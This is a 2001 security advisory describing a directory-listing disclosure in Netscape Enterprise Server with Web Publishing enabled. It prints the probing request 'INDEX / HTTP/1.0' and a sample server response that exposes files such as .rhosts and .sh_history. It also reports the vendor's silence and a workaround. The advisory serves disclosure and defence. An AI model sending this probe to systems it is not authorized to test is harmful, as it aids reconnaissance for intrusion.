TITLE    : Netscape Enterprise Server - INDEX request problem
DATE     : January 24, 2001
NATURE   : Information gathering
AFFECTED : Netscape Enterprise Server 3.x and 4.x with Web Publishing enabled

PROBLEM:

Problems exists that allows remote user to obtain directory listings on remote site running Web Publishing.

DETAILS:

It is possible to obtain directory listing on the remote web server by issuing command:

INDEX / HTTP/1.0

Output looks like:

-- output start --

Trying 192.168.1.1...
Connected to www.example.org.
Escape character is '^]'.
INDEX / HTTP/1.0

HTTP/1.1 200 OK
Server: Netscape-Enterprise/3.6 SP2
Date: Fri, 19 Jan 2001 12:37:26 GMT
Content-type: text/plain

test directory 512 979859452 0 null null
contact directory 512 979701766 0 null null
index.html text/html 1467 979701461 268 null null
mobile directory 512 979701775 0 null null
service directory 512 979701801 0 null null
.rhosts unknown 22 965727716 264 null null
search directory 512 931316908 0 null null
.sh_history unknown 1256 979723453 264 null null
corporate directory 512 972989267 0 null null
.cshrc unknown 418 975657629 264 null null
.login unknown 674 975657629 264 null null
.profile unknown 416 975657629 264 null null

-- output end --

INDEX request will not work on 'aliased' directories (like CGI directories and similar).

FIXES:

Netscape has been contacted on multiple occasions. First time, more than a year ago. Although other problems we have 
reported have been fixed, we
have received no response for this issue - to date.

Workaround is to disable Web Publishing, or disable INDEX request (which will, most likely, break web publishing 
feature).
